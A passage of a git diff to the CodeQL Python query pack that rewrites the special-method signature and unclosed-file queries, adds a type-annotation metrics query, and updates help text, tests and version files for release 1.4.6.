-      "__hash__", "__bool__", "__nonzero__", "__unicode__", "__len__", "__iter__", "__reversed__"
+      "__hash__", "__bool__", "__nonzero__", "__unicode__", "__len__", "__iter__", "__reversed__",
+      "__aenter__", "__aiter__", "__anext__", "__await__", "__ceil__", "__floor__", "__trunc__",
+      "__length_hint__", "__dir__", "__bytes__"
     ]
 }
 
@@ -28,91 +32,138 @@ predicate is_binary_op(string name) {
       "__and__", "__xor__", "__or__", "__ne__", "__radd__", "__rsub__", "__rmul__", "__rfloordiv__",
       "__rdiv__", "__rtruediv__", "__rmod__", "__rdivmod__", "__rpow__", "__rlshift__", "__gt__",
       "__rrshift__", "__rand__", "__rxor__", "__ror__", "__iadd__", "__isub__", "__imul__",
-      "__ifloordiv__", "__idiv__", "__itruediv__", "__ge__", "__imod__", "__idivmod__", "__ipow__",
-      "__ilshift__", "__irshift__", "__iand__", "__ixor__", "__ior__", "__coerce__", "__cmp__",
-      "__rcmp__", "__getattr___", "__getattribute___"
+      "__ifloordiv__", "__idiv__", "__itruediv__", "__ge__", "__imod__", "__ipow__", "__ilshift__",
+      "__irshift__", "__iand__", "__ixor__", "__ior__", "__coerce__", "__cmp__", "__rcmp__",
+      "__getattr__", "__getattribute__", "__buffer__", "__release_buffer__", "__matmul__",
+      "__rmatmul__", "__imatmul__", "__missing__", "__class_getitem__", "__mro_entries__",
+      "__format__"
     ]
 }
 
 predicate is_ternary_op(string name) {
-  name in ["__setattr__", "__set__", "__setitem__", "__getslice__", "__delslice__"]
+  name in ["__setattr__", "__set__", "__setitem__", "__getslice__", "__delslice__", "__set_name__"]
 }
 
-predicate is_quad_op(string name) { name = "__setslice__" or name = "__exit__" }
+predicate is_quad_op(string name) { name in ["__setslice__", "__exit__", "__aexit__"] }
 
-int argument_count(PythonFunctionValue f, string name, ClassValue cls) {
-  cls.declaredAttribute(name) = f and
-  (
-    is_unary_op(name) and result = 1
-    or
-    is_binary_op(name) and result = 2
-    or
-    is_ternary_op(name) and result = 3
-    or
-    is_quad_op(name) and result = 4
-  )
+int argument_count(string name) {
+  is_unary_op(name) and result = 1
+  or
+  is_binary_op(name) and result = 2
+  or
+  is_ternary_op(name) and result = 3
+  or
+  is_quad_op(name) and result = 4
+}
+
+/**
+ * Returns 1 if `func` is a static method, and 0 otherwise. This predicate is used to adjust the
+ * number of expected arguments for a special method accordingly.
+ */
+int staticmethod_correction(Function func) {
+  if DD::isStaticmethod(func) then result = 1 else result = 0
 }
 
 predicate incorrect_special_method_defn(
-  PythonFunctionValue func, string message, boolean show_counts, string name, ClassValue owner
+  Function func, string message, boolean show_counts, string name, boolean is_unused_default
 ) {
-  exists(int required | required = argument_count(func, name, owner) |
+  exists(int required, int correction |
+    required = argument_count(name) - correction and correction = staticmethod_correction(func)
+  |
     /* actual_non_default <= actual */
-    if required > func.maxParameters()
-    then message = "Too few parameters" and show_counts = true
+    if required > func.getMaxPositionalArguments()
+    then message = "Too few parameters" and show_counts = true and is_unused_default = false
     else
-      if required < func.minParameters()
-      then message = "Too many parameters" and show_counts = true
+      if required < func.getMinPositionalArguments()
+      then message = "Too many parameters" and show_counts = true and is_unused_default = false
       else (
-        func.minParameters() < required and
-        not func.getScope().hasVarArg() and
-        message = (required - func.minParameters()) + " default values(s) will never be used" and
-        show_counts = false
+        func.getMinPositionalArguments() < required and
+        not func.hasVarArg() and
+        message =
+          (required - func.getMinPositionalArguments()) + " default values(s) will never be used" and
+        show_counts = false and
+        is_unused_default = true
       )
   )
 }
 
-predicate incorrect_pow(FunctionValue func, string message, boolean show_counts, ClassValue owner) {
-  owner.declaredAttribute("__pow__") = func and
-  (
-    func.maxParameters() < 2 and message = "Too few parameters" and show_counts = true
+predicate incorrect_pow(
+  Function func, string message, boolean show_counts, boolean is_unused_default
+) {
+  exists(int correction | correction = staticmethod_correction(func) |
+    func.getMaxPositionalArguments() < 2 - correction and
+    message = "Too few parameters" and
+    show_counts = true and
+    is_unused_default = false
     or
-    func.minParameters() > 3 and message = "Too many parameters" and show_counts = true
+    func.getMinPositionalArguments() > 3 - correction and
+    message = "Too many parameters" and
+    show_counts = true and
+    is_unused_default = false
     or
-    func.minParameters() < 2 and
-    message = (2 - func.minParameters()) + " default value(s) will never be used" and
-    show_counts = false
+    func.getMinPositionalArguments() < 2 - correction and
+    message = (2 - func.getMinPositionalArguments()) + " default value(s) will never be used" and
+    show_counts = false and
+    is_unused_default = true
     or
-    func.minParameters() = 3 and
+    func.getMinPositionalArguments() = 3 - correction and
     message = "Third parameter to __pow__ should have a default value" and
-    show_counts = false
+    show_counts = false and
+    is_unused_default = false
   )
 }
 
-predicate incorrect_get(FunctionValue func, string message, boolean show_counts, ClassValue owner) {
-  owner.declaredAttribute("__get__") = func and
-  (
-    func.maxParameters() < 3 and message = "Too few parameters" and show_counts = true
+predicate incorrect_round(
+  Function func, string message, boolean show_counts, boolean is_unused_default
+) {
+  exists(int correction | correction = staticmethod_correction(func) |
+    func.getMaxPositionalArguments() < 1 - correction and
+    message = "Too few parameters" and
+    show_counts = true and
+    is_unused_default = false
     or
-    func.minParameters() > 3 and message = "Too many parameters" and show_counts = true
+    func.getMinPositionalArguments() > 2 - correction and
+    message = "Too many parameters" and
+    show_counts = true and
+    is_unused_default = false
     or
-    func.minParameters() < 2 and
-    not func.getScope().hasVarArg() and
-    message = (2 - func.minParameters()) + " default value(s) will never be used" and
-    show_counts = false
+    func.getMinPositionalArguments() = 2 - correction and
+    message = "Second parameter to __round__ should have a default value" and
+    show_counts = false and
+    is_unused_default = false
   )
 }
 
-string should_have_parameters(PythonFunctionValue f, string name, ClassValue owner) {
-  exists(int i | i = argument_count(f, name, owner) | result = i.toString())
-  or
-  owner.declaredAttribute(name) = f and
-  (name = "__get__" or name = "__pow__") and
-  result = "2 or 3"
+predicate incorrect_get(
+  Function func, string message, boolean show_counts, boolean is_unused_default
+) {
+  exists(int correction | correction = staticmethod_correction(func) |
+    func.getMaxPositionalArguments() < 3 - correction and
+    message = "Too few parameters" and
+    show_counts = true and
+    is_unused_default = false
+    or
+    func.getMinPositionalArguments() > 3 - correction and
+    message = "Too many parameters" and
+    show_counts = true and
+    is_unused_default = false
+    or
+    func.getMinPositionalArguments() < 2 - correction and
+    not func.hasVarArg() and
+    message = (2 - func.getMinPositionalArguments()) + " default value(s) will never be used" and
+    show_counts = false and
+    is_unused_default = true
+  )
 }
 
-string has_parameters(PythonFunctionValue f) {
-  exists(int i | i = f.minParameters() |
+string should_have_parameters(string name) {
+  if name in ["__pow__", "__get__"]
+  then result = "2 or 3"
+  else result = argument_count(name).toString()
+}
+
+string has_parameters(Function f) {
+  exists(int i | i = f.getMinPositionalArguments() |
     i = 0 and result = "no parameters"
     or
     i = 1 and result = "1 parameter"
@@ -121,23 +172,44 @@ string has_parameters(PythonFunctionValue f) {
   )
 }
 
+/** Holds if `f` is likely to be a placeholder, and hence not interesting enough to report. */
+predicate isLikelyPlaceholderFunction(Function f) {
+  // Body has only a single statement.
+  f.getBody().getItem(0) = f.getBody().getLastItem() and
+  (
+    // Body is a string literal. This is a common pattern for Zope interfaces.
+    f.getBody().getLastItem().(ExprStmt).getValue() instanceof StringLiteral
+    or
+    // Body just raises an exception.
+    f.getBody().getLastItem() instanceof Raise
+    or
+    // Body is a pass statement.
+    f.getBody().getLastItem() instanceof Pass
+  )
+}
+
 from
-  PythonFunctionValue f, string message, string sizes, boolean show_counts, string name,
-  ClassValue owner
+  Function f, string message, string sizes, boolean show_counts, string name, Class owner,
+  boolean show_unused_defaults
 where
+  owner.getAMethod() = f and
+  f.getName() = name and
   (
-    incorrect_special_method_defn(f, message, show_counts, name, owner)
+    incorrect_special_method_defn(f, message, show_counts, name, show_unused_defaults)
+    or
+    incorrect_pow(f, message, show_counts, show_unused_defaults) and name = "__pow__"
     or
-    incorrect_pow(f, message, show_counts, owner) and name = "__pow__"
+    incorrect_get(f, message, show_counts, show_unused_defaults) and name = "__get__"
     or
-    incorrect_get(f, message, show_counts, owner) and name = "__get__"
+    incorrect_round(f, message, show_counts, show_unused_defaults) and
+    name = "__round__"
   ) and
+  not isLikelyPlaceholderFunction(f) and
+  show_unused_defaults = false and
   (
     show_counts = false and sizes = ""
     or
     show_counts = true and
-    sizes =
-      ", which has " + has_parameters(f) + ", but should have " +
-        should_have_parameters(f, name, owner)
+    sizes = ", which has " + has_parameters(f) + ", but should have " + should_have_parameters(name)
   )
 select f, message + " for special method " + name + sizes + ", in class $@.", owner, owner.getName()
diff --git a/python/ql/src/Metrics/Internal/TypeAnnotations.ql b/python/ql/src/Metrics/Internal/TypeAnnotations.ql
new file mode 100644
index 000000000000..891e85084590
--- /dev/null
+++ b/python/ql/src/Metrics/Internal/TypeAnnotations.ql
@@ -0,0 +1,108 @@
+/**
+ * @name Type metrics
+ * @description Counts of various kinds of type annotations in Python code.
+ * @kind table
+ * @id py/type-metrics
+ */
+
+import python
+
+class BuiltinType extends Name {
+  BuiltinType() { this.getId() in ["int", "float", "str", "bool", "bytes", "None"] }
+}
+
+newtype TAnnotatable =
+  TAnnotatedFunction(FunctionExpr f) { exists(f.getReturns()) } or
+  TAnnotatedParameter(Parameter p) { exists(p.getAnnotation()) } or
+  TAnnotatedAssignment(AnnAssign a) { exists(a.getAnnotation()) }
+
+abstract class Annotatable extends TAnnotatable {
+  string toString() { result = "Annotatable" }
+
+  abstract Expr getAnnotation();
+}
+
+class AnnotatedFunction extends TAnnotatedFunction, Annotatable {
+  FunctionExpr function;
+
+  AnnotatedFunction() { this = TAnnotatedFunction(function) }
+
+  override Expr getAnnotation() { result = function.getReturns() }
+}
+
+class AnnotatedParameter extends TAnnotatedParameter, Annotatable {
+  Parameter parameter;
+
+  AnnotatedParameter() { this = TAnnotatedParameter(parameter) }
+
+  override Expr getAnnotation() { result = parameter.getAnnotation() }
+}
+
+class AnnotatedAssignment extends TAnnotatedAssignment, Annotatable {
+  AnnAssign assignment;
+
+  AnnotatedAssignment() { this = TAnnotatedAssignment(assignment) }
+
+  override Expr getAnnotation() { result = assignment.getAnnotation() }
+}
+
+/** Holds if `e` is a forward declaration of a type. */
+predicate is_forward_declaration(Expr e) { e instanceof StringLiteral }
+
+/** Holds if `e` is a type that may be difficult to analyze. */
+predicate is_complex_type(Expr e) {
+  e instanceof Subscript and not is_optional_type(e)
+  or
+  e instanceof Tuple
+  or
+  e instanceof List
+}
+
+/** Holds if `e` is a type of the form `Optional[...]`. */
+predicate is_optional_type(Subscript e) { e.getObject().(Name).getId() = "Optional" }
+
+/** Holds if `e` is a simple type, that is either an identifier (excluding built-in types) or an attribute of a simple type. */
+predicate is_simple_type(Expr e) {
+  e instanceof Name and not e instanceof BuiltinType
+  or
+  is_simple_type(e.(Attribute).getObject())
+}
+
+/** Holds if `e` is a built-in type. */
+predicate is_builtin_type(Expr e) { e instanceof BuiltinType }
+
+predicate type_count(
+  string kind, int total, int built_in_count, int forward_declaration_count, int simple_type_count,
+  int complex_type_count, int optional_type_count
+) {
+  kind = "Parameter annotation" and
+  total = count(AnnotatedParameter p) and
+  built_in_count = count(AnnotatedParameter p | is_builtin_type(p.getAnnotation())) and
+  forward_declaration_count =
+    count(AnnotatedParameter p | is_forward_declaration(p.getAnnotation())) and
+  simple_type_count = count(AnnotatedParameter p | is_simple_type(p.getAnnotation())) and
+  complex_type_count = count(AnnotatedParameter p | is_complex_type(p.getAnnotation())) and
+  optional_type_count = count(AnnotatedParameter p | is_optional_type(p.getAnnotation()))
+  or
+  kind = "Return type annotation" and
+  total = count(AnnotatedFunction f) and
+  built_in_count = count(AnnotatedFunction f | is_builtin_type(f.getAnnotation())) and
+  forward_declaration_count = count(AnnotatedFunction f | is_forward_declaration(f.getAnnotation())) and
+  simple_type_count = count(AnnotatedFunction f | is_simple_type(f.getAnnotation())) and
+  complex_type_count = count(AnnotatedFunction f | is_complex_type(f.getAnnotation())) and
+  optional_type_count = count(AnnotatedFunction f | is_optional_type(f.getAnnotation()))
+  or
+  kind = "Annotated assignment" and
+  total = count(AnnotatedAssignment a) and
+  built_in_count = count(AnnotatedAssignment a | is_builtin_type(a.getAnnotation())) and
+  forward_declaration_count =
+    count(AnnotatedAssignment a | is_forward_declaration(a.getAnnotation())) and
+  simple_type_count = count(AnnotatedAssignment a | is_simple_type(a.getAnnotation())) and
+  complex_type_count = count(AnnotatedAssignment a | is_complex_type(a.getAnnotation())) and
+  optional_type_count = count(AnnotatedAssignment a | is_optional_type(a.getAnnotation()))
+}
+
+from
+  string message, int total, int built_in, int forward_decl, int simple, int complex, int optional
+where type_count(message, total, built_in, forward_decl, simple, complex, optional)
+select message, total, built_in, forward_decl, simple, complex, optional
diff --git a/python/ql/src/Resources/FileNotAlwaysClosed.py b/python/ql/src/Resources/FileNotAlwaysClosed.py
deleted file mode 100644
index 5f5f10345c79..000000000000
--- a/python/ql/src/Resources/FileNotAlwaysClosed.py
+++ /dev/null
@@ -1,15 +0,0 @@
-f = open("filename")
-    ... # Actions to perform on file
-f.close()
-# File only closed if actions are completed successfully
-
-with open("filename") as f:
-    ...# Actions to perform on file
-# File always closed
-
-f = open("filename")
-try:
-    ... # Actions to perform on file
-finally:
-    f.close()
-# File always closed
diff --git a/python/ql/src/Resources/FileNotAlwaysClosed.qhelp b/python/ql/src/Resources/FileNotAlwaysClosed.qhelp
index 71073caa47b5..f37c5a4cbc47 100644
--- a/python/ql/src/Resources/FileNotAlwaysClosed.qhelp
+++ b/python/ql/src/Resources/FileNotAlwaysClosed.qhelp
@@ -4,32 +4,30 @@
 <qhelp>
 
 <overview>
-<p> If a file is opened then it should always be closed again, even if an
-exception is raised.
-Failing to ensure that all files are closed may result in failure due to too
-many open files.</p>
-
+<p>When a file is opened, it should always be closed. 
+</p>
+<p>A file opened for writing that is not closed when the application exits may result in data loss, where not all of the data written may be saved to the file.
+A file opened for reading or writing that is not closed may also use up file descriptors, which is a resource leak that in long running applications could lead to a failure to open additional files. 
+</p>
 </overview>
 <recommendation>
 
-<p>Ensure that if you open a file it is always closed on exiting the method.
-Wrap the code between the <code>open()</code> and <code>close()</code>
-functions in a <code>with</code> statement or use a <code>try...finally</code>
-statement. Using a <code>with</code> statement is preferred as it is shorter
-and more readable.</p>
+<p>Ensure that opened files are always closed, including when an exception could be raised.
+The best practice is often to use a <code>with</code> statement to automatically clean up resources.
+Otherwise, ensure that <code>.close()</code> is called in a <code>try...except</code> or <code>try...finally</code> 
+block to handle any possible exceptions.
+</p>
 
 </recommendation>
 <example>
-<p>The following code shows examples of different ways of closing a file. In the first example, the
-file is closed only if the method is exited successfully. In the other examples, the file is always
-closed on exiting the method.</p>
+<p>In the following examples, in the case marked BAD, the file may not be closed if an exception is raised. In the cases marked GOOD, the file is always closed.</p>
 
-<sample src="FileNotAlwaysClosed.py" />
+<sample src="examples/FileNotAlwaysClosed.py" />
 
 </example>
 <references>
 
-
+<li>Python Documentation: <a href="https://docs.python.org/3/tutorial/inputoutput.html#reading-and-writing-files">Reading and writing files</a>.</li>
 <li>Python Language Reference: <a href="http://docs.python.org/reference/compound_stmts.html#the-with-statement">The with statement</a>,
  <a href="http://docs.python.org/reference/compound_stmts.html#the-try-statement">The try statement</a>.</li>
 <li>Python PEP 343: <a href="http://www.python.org/dev/peps/pep-0343">The "with" Statement</a>.</li>
diff --git a/python/ql/src/Resources/FileNotAlwaysClosed.ql b/python/ql/src/Resources/FileNotAlwaysClosed.ql
index 5b5a869e62a8..c3950eda805d 100644
--- a/python/ql/src/Resources/FileNotAlwaysClosed.ql
+++ b/python/ql/src/Resources/FileNotAlwaysClosed.ql
@@ -1,74 +1,26 @@
 /**
  * @name File is not always closed
- * @description Opening a file without ensuring that it is always closed may cause resource leaks.
+ * @description Opening a file without ensuring that it is always closed may lead to data loss or resource leaks.
  * @kind problem
  * @tags efficiency
  *       correctness
  *       resources
+ *       quality
  *       external/cwe/cwe-772
  * @problem.severity warning
  * @sub-severity high
- * @precision medium
+ * @precision high
  * @id py/file-not-closed
  */
 
 import python
-import FileOpen
+import FileNotAlwaysClosedQuery
 
-/**
- * Whether resource is opened and closed in  in a matched pair of methods,
- * either `__enter__` and `__exit__` or `__init__` and `__del__`
- */
-predicate opened_in_enter_closed_in_exit(ControlFlowNode open) {
-  file_not_closed_at_scope_exit(open) and
-  exists(FunctionValue entry, FunctionValue exit |
-    open.getScope() = entry.getScope() and
-    exists(ClassValue cls |
-      cls.declaredAttribute("__enter__") = entry and cls.declaredAttribute("__exit__") = exit
-      or
-      cls.declaredAttribute("__init__") = entry and cls.declaredAttribute("__del__") = exit
-    ) and
-    exists(AttrNode attr_open, AttrNode attrclose |
-      attr_open.getScope() = entry.getScope() and
-      attrclose.getScope() = exit.getScope() and
-      expr_is_open(attr_open.(DefinitionNode).getValue(), open) and
-      attr_open.getName() = attrclose.getName() and
-      close_method_call(_, attrclose)
-    )
-  )
-}
-
-predicate file_not_closed_at_scope_exit(ControlFlowNode open) {
-  exists(EssaVariable v |
-    BaseFlow::reaches_exit(v) and
-    var_is_open(v, open) and
-    not file_is_returned(v, open)
-  )
-  or
-  call_to_open(open) and
-  not exists(AssignmentDefinition def | def.getValue() = open) and
-  not exists(Return r | r.getValue() = open.getNode())
-}
-
-predicate file_not_closed_at_exception_exit(ControlFlowNode open, ControlFlowNode exit) {
-  exists(EssaVariable v |
-    exit.(RaisingNode).viableExceptionalExit(_, _) and
-    not closes_arg(exit, v.getSourceVariable()) and
-    not close_method_call(exit, v.getAUse().(NameNode)) and
-    var_is_open(v, open) and
-    v.getAUse() = exit.getAChild*()
-  )
-}
-
-/* Check to see if a file is opened but not closed or returned */
-from ControlFlowNode defn, string message
+from FileOpen fo, string msg
 where
-  not opened_in_enter_closed_in_exit(defn) and
-  (
-    file_not_closed_at_scope_exit(defn) and message = "File is opened but is not closed."
-    or
-    not file_not_closed_at_scope_exit(defn) and
-    file_not_closed_at_exception_exit(defn, _) and
-    message = "File may not be closed if an exception is raised."
-  )
-select defn.getNode(), message
+  fileNotClosed(fo) and
+  msg = "File is opened but is not closed."
+  or
+  fileMayNotBeClosedOnException(fo, _) and
+  msg = "File may not be closed if an exception is raised."
+select fo, msg
diff --git a/python/ql/src/Resources/FileNotAlwaysClosedQuery.qll b/python/ql/src/Resources/FileNotAlwaysClosedQuery.qll
new file mode 100644
index 000000000000..fe1d6578e11e
--- /dev/null
+++ b/python/ql/src/Resources/FileNotAlwaysClosedQuery.qll
@@ -0,0 +1,150 @@
+/** Definitions for reasoning about whether files are closed. */
+
+import python
+import semmle.python.dataflow.new.internal.DataFlowDispatch
+import semmle.python.ApiGraphs
+
+/** A CFG node where a file is opened. */
+abstract class FileOpenSource extends DataFlow::CfgNode { }
+
+/** A call to the builtin `open` or `os.open`. */
+class FileOpenCall extends FileOpenSource {
+  FileOpenCall() {
+    this = [API::builtin("open").getACall(), API::moduleImport("os").getMember("open").getACall()]
+  }
+}
+
+private DataFlow::TypeTrackingNode fileOpenInstance(DataFlow::TypeTracker t) {
+  t.start() and
+  result instanceof FileOpenSource
+  or
+  exists(DataFlow::TypeTracker t2 | result = fileOpenInstance(t2).track(t2, t))
+}
+
+/**
+ * A call that returns an instance of an open file object.
+ * This includes calls to methods that transitively call `open` or similar.
+ */
+class FileOpen extends DataFlow::CallCfgNode {
+  FileOpen() { fileOpenInstance(DataFlow::TypeTracker::end()).flowsTo(this) }
+}
+
+/** A call that may wrap a file object in a wrapper class or `os.fdopen`. */
+class FileWrapperCall extends DataFlow::CallCfgNode {
+  DataFlow::Node wrapped;
+
+  FileWrapperCall() {
+    wrapped = this.getArg(_).getALocalSource() and
+    this.getFunction() = classTracker(_)
+    or
+    wrapped = this.getArg(0) and
+    this = API::moduleImport("os").getMember("fdopen").getACall()
+    or
+    wrapped = this.getArg(0) and
+    this = API::moduleImport("django").getMember("http").getMember("FileResponse").getACall()
+  }
+
+  /** Gets the file that this call wraps. */
+  DataFlow::Node getWrapped() { result = wrapped }
+}
+
+/** A node where a file is closed. */
+abstract class FileClose extends DataFlow::CfgNode {
+  /** Holds if this file close will occur if an exception is thrown at `raises`. */
+  predicate guardsExceptions(DataFlow::CfgNode raises) {
+    this.asCfgNode() = raises.asCfgNode().getAnExceptionalSuccessor().getASuccessor*()
+    or
+    // The expression is after the close call.
+    // This also covers the body of a `with` statement.
+    raises.asCfgNode() = this.asCfgNode().getASuccessor*()
+  }
+}
+
+/** A call to the `.close()` method of a file object. */
+class FileCloseCall extends FileClose {
+  FileCloseCall() { exists(DataFlow::MethodCallNode mc | mc.calls(this, "close")) }
+}
+
+/** A call to `os.close`. */
+class OsCloseCall extends FileClose {
+  OsCloseCall() { this = API::moduleImport("os").getMember("close").getACall().getArg(0) }
+}
+
+/** A `with` statement. */
+class WithStatement extends FileClose {
+  WithStatement() { this.asExpr() = any(With w).getContextExpr() }
+}
+
+/** Holds if an exception may be raised at `raises` if `file` is a file object. */
+private predicate mayRaiseWithFile(DataFlow::CfgNode file, DataFlow::CfgNode raises) {
+  // Currently just consider any method called on `file`; e.g. `file.write()`; as potentially raising an exception
+  raises.(DataFlow::MethodCallNode).getObject() = file and
+  not file instanceof FileOpen and
+  not file instanceof FileClose
+}
+
+/** Holds if data flows from `nodeFrom` to `nodeTo` in one step that also includes file wrapper classes. */
+private predicate fileAdditionalLocalFlowStep(DataFlow::Node nodeFrom, DataFlow::Node nodeTo) {
+  exists(FileWrapperCall fw | nodeFrom = fw.getWrapped() and nodeTo = fw)
+}
+
+private predicate fileLocalFlowHelper0(
+  DataFlow::LocalSourceNode nodeFrom, DataFlow::LocalSourceNode nodeTo
+) {
+  exists(DataFlow::Node nodeMid |
+    nodeFrom.flowsTo(nodeMid) and fileAdditionalLocalFlowStep(nodeMid, nodeTo)
+  )
+}
+
+private predicate fileLocalFlowHelper1(
+  DataFlow::LocalSourceNode nodeFrom, DataFlow::LocalSourceNode nodeTo
+) {
+  fileLocalFlowHelper0*(nodeFrom, nodeTo)
+}
+
+/** Holds if data flows from `source` to `sink`, including file wrapper classes. */
+pragma[inline]
+private predicate fileLocalFlow(FileOpen source, DataFlow::Node sink) {
+  exists(DataFlow::LocalSourceNode mid | fileLocalFlowHelper1(source, mid) and mid.flowsTo(sink))
+}
+
+/** Holds if the file opened at `fo` is closed. */
+predicate fileIsClosed(FileOpen fo) { exists(FileClose fc | fileLocalFlow(fo, fc)) }
+
+/** Holds if the file opened at `fo` is returned to the caller. This makes the caller responsible for closing the file. */
+predicate fileIsReturned(FileOpen fo) {
+  exists(Return ret, Expr retVal |
+    (
+      retVal = ret.getValue()
+      or
+      retVal = ret.getValue().(List).getAnElt()
+      or
+      retVal = ret.getValue().(Tuple).getAnElt()
+    ) and
+    fileLocalFlow(fo, DataFlow::exprNode(retVal))
+  )
+}
+
+/** Holds if the file opened at `fo` is stored in a field. We assume that another method is then responsible for closing the file. */
+predicate fileIsStoredInField(FileOpen fo) {
+  exists(DataFlow::AttrWrite aw | fileLocalFlow(fo, aw.getValue()))
+}
+
+/** Holds if the file opened at `fo` is not closed, and is expected to be closed. */
+predicate fileNotClosed(FileOpen fo) {
+  not fileIsClosed(fo) and
+  not fileIsReturned(fo) and
+  not fileIsStoredInField(fo)
+}
+
+predicate fileMayNotBeClosedOnException(FileOpen fo, DataFlow::Node raises) {
+  fileIsClosed(fo) and
+  exists(DataFlow::CfgNode fileRaised |
+    mayRaiseWithFile(fileRaised, raises) and
+    fileLocalFlow(fo, fileRaised) and
+    not exists(FileClose fc |
+      fileLocalFlow(fo, fc) and
+      fc.guardsExceptions(raises)
+    )
+  )
+}
diff --git a/python/ql/src/Resources/FileOpen.qll b/python/ql/src/Resources/FileOpen.qll
index 8fc453063536..dd952e732d42 100644
--- a/python/ql/src/Resources/FileOpen.qll
+++ b/python/ql/src/Resources/FileOpen.qll
@@ -1,4 +1,8 @@
-/** Contains predicates concerning when and where files are opened and closed. */
+/**
+ * DEPRECATED: Use FileNotAlwaysClosedQuery instead.
+ * Contains predicates concerning when and where files are opened and closed.
+ */
+deprecated module;
 
 import python
 import semmle.python.pointsto.Filters
diff --git a/python/ql/src/Resources/examples/FileNotAlwaysClosed.py b/python/ql/src/Resources/examples/FileNotAlwaysClosed.py
new file mode 100644
index 000000000000..cd5bdb2118a2
--- /dev/null
+++ b/python/ql/src/Resources/examples/FileNotAlwaysClosed.py
@@ -0,0 +1,17 @@
+def bad():
+    f = open("filename", "w")
+    f.write("could raise exception") # BAD: This call could raise an exception, leading to the file not being closed.
+    f.close()
+
+
+def good1():
+    with open("filename", "w") as f:
+        f.write("always closed") # GOOD: The `with` statement ensures the file is always closed.
+
+def good2():
+    f = open("filename", "w")
+    try:
+       f.write("always closed")
+    finally:
+        f.close() # GOOD: The `finally` block always ensures the file is closed.
+   
diff --git a/python/ql/src/Security/CWE-918/ServerSideRequestForgery-end.inc.qhelp b/python/ql/src/Security/CWE-918/ServerSideRequestForgery-end.inc.qhelp
index 2259680e9f8e..c40fe1d5711e 100644
--- a/python/ql/src/Security/CWE-918/ServerSideRequestForgery-end.inc.qhelp
+++ b/python/ql/src/Security/CWE-918/ServerSideRequestForgery-end.inc.qhelp
@@ -5,8 +5,11 @@
   <recommendation>
 
     <p>To guard against SSRF attacks you should avoid putting user-provided input directly
-      into a request URL. Instead, either maintain a list of authorized URLs on the server and choose
-      from that list based on the input provided, or perform proper validation of the input.
+      into a request URL. On the application level, maintain a list of authorized URLs on the server and choose
+      from that list based on the input provided. If that is not possible, one should verify the IP address for all user-controlled 
+      requests to ensure they are not private. This requires saving the verified IP address of each domain,
+      then utilizing a custom HTTP adapter to ensure that future requests to that domain use the verified IP address. 
+      On the network level, you can segment the vulnerable application into its own LAN or block access to specific devices.
     </p>
 
   </recommendation>
diff --git a/python/ql/src/Variables/UnusedModuleVariable.ql b/python/ql/src/Variables/UnusedModuleVariable.ql
index 869c31cb4fa1..c9009d9bf369 100644
--- a/python/ql/src/Variables/UnusedModuleVariable.ql
+++ b/python/ql/src/Variables/UnusedModuleVariable.ql
@@ -34,6 +34,14 @@ predicate complex_all(Module m) {
   )
 }
 
+predicate used_in_forward_declaration(Name used, Module mod) {
+  exists(StringLiteral s, Annotation annotation |
+    s.getS() = used.getId() and
+    s.getEnclosingModule() = mod and
+    annotation.getASubExpression*() = s
+  )
+}
+
 predicate unused_global(Name unused, GlobalVariable v) {
   not exists(ImportingStmt is | is.contains(unused)) and
   forex(DefinitionNode defn | defn.getNode() = unused |
@@ -55,7 +63,8 @@ predicate unused_global(Name unused, GlobalVariable v) {
     unused.defines(v) and
     not name_acceptable_for_unused_variable(v) and
     not complex_all(unused.getEnclosingModule())
-  )
+  ) and
+  not used_in_forward_declaration(unused, unused.getEnclosingModule())
 }
 
 from Name unused, GlobalVariable v
diff --git a/python/ql/src/change-notes/released/1.4.6.md b/python/ql/src/change-notes/released/1.4.6.md
new file mode 100644
index 000000000000..56b1147206be
--- /dev/null
+++ b/python/ql/src/change-notes/released/1.4.6.md
@@ -0,0 +1,9 @@
+## 1.4.6
+
+### Minor Analysis Improvements
+
+- The `py/special-method-wrong-signature` has been modernized and rewritten to no longer rely on outdated APIs. Moreover, the query no longer flags cases where a default value is never used, as these alerts were rarely useful.
+
+### Bug Fixes
+
+- The `py/unused-global-variable` now no longer flags variables that are only used in forward references (e.g. the `Foo` in `def bar(x: "Foo"): ...`).
diff --git a/python/ql/src/codeql-pack.release.yml b/python/ql/src/codeql-pack.release.yml
index a74b6b08d860..3b00bbce928c 100644
--- a/python/ql/src/codeql-pack.release.yml
+++ b/python/ql/src/codeql-pack.release.yml
@@ -1,2 +1,2 @@
 ---
-lastReleaseVersion: 1.4.5
+lastReleaseVersion: 1.4.6
diff --git a/python/ql/src/codeql-suites/python-code-quality.qls b/python/ql/src/codeql-suites/python-code-quality.qls
new file mode 100644
index 000000000000..1b0cc2b4e4a4
--- /dev/null
+++ b/python/ql/src/codeql-suites/python-code-quality.qls
@@ -0,0 +1,5 @@
+- queries: .
+- include:
+    id:
+      - py/not-named-self 
+      - py/not-named-cls
diff --git a/python/ql/src/qlpack.yml b/python/ql/src/qlpack.yml
index 29f49dfe5f6f..321638c25775 100644
--- a/python/ql/src/qlpack.yml
+++ b/python/ql/src/qlpack.yml
@@ -1,5 +1,5 @@
 name: codeql/python-queries
-version: 1.4.5
+version: 1.4.6
 groups:
   - python
   - queries
diff --git a/python/ql/test/query-tests/Functions/general/SignatureSpecialMethods.expected b/python/ql/test/query-tests/Functions/general/SignatureSpecialMethods.expected
index 94fba173b3b6..55f1e7381f1b 100644
--- a/python/ql/test/query-tests/Functions/general/SignatureSpecialMethods.expected
+++ b/python/ql/test/query-tests/Functions/general/SignatureSpecialMethods.expected
@@ -1,9 +1,6 @@
-| om_test.py:59:5:59:28 | Function WrongSpecials.__div__ | Too many parameters for special method __div__, which has 3 parameters, but should have 2, in class $@. | om_test.py:57:1:57:28 | class WrongSpecials | WrongSpecials |
-| om_test.py:62:5:62:22 | Function WrongSpecials.__mul__ | Too few parameters for special method __mul__, which has 1 parameter, but should have 2, in class $@. | om_test.py:57:1:57:28 | class WrongSpecials | WrongSpecials |
-| om_test.py:65:5:65:29 | Function WrongSpecials.__neg__ | Too many parameters for special method __neg__, which has 2 parameters, but should have 1, in class $@. | om_test.py:57:1:57:28 | class WrongSpecials | WrongSpecials |
-| om_test.py:68:5:68:35 | Function WrongSpecials.__exit__ | Too few parameters for special method __exit__, which has 3 parameters, but should have 4, in class $@. | om_test.py:57:1:57:28 | class WrongSpecials | WrongSpecials |
-| om_test.py:71:5:71:19 | Function WrongSpecials.__repr__ | Too few parameters for special method __repr__, which has no parameters, but should have 1, in class $@. | om_test.py:57:1:57:28 | class WrongSpecials | WrongSpecials |
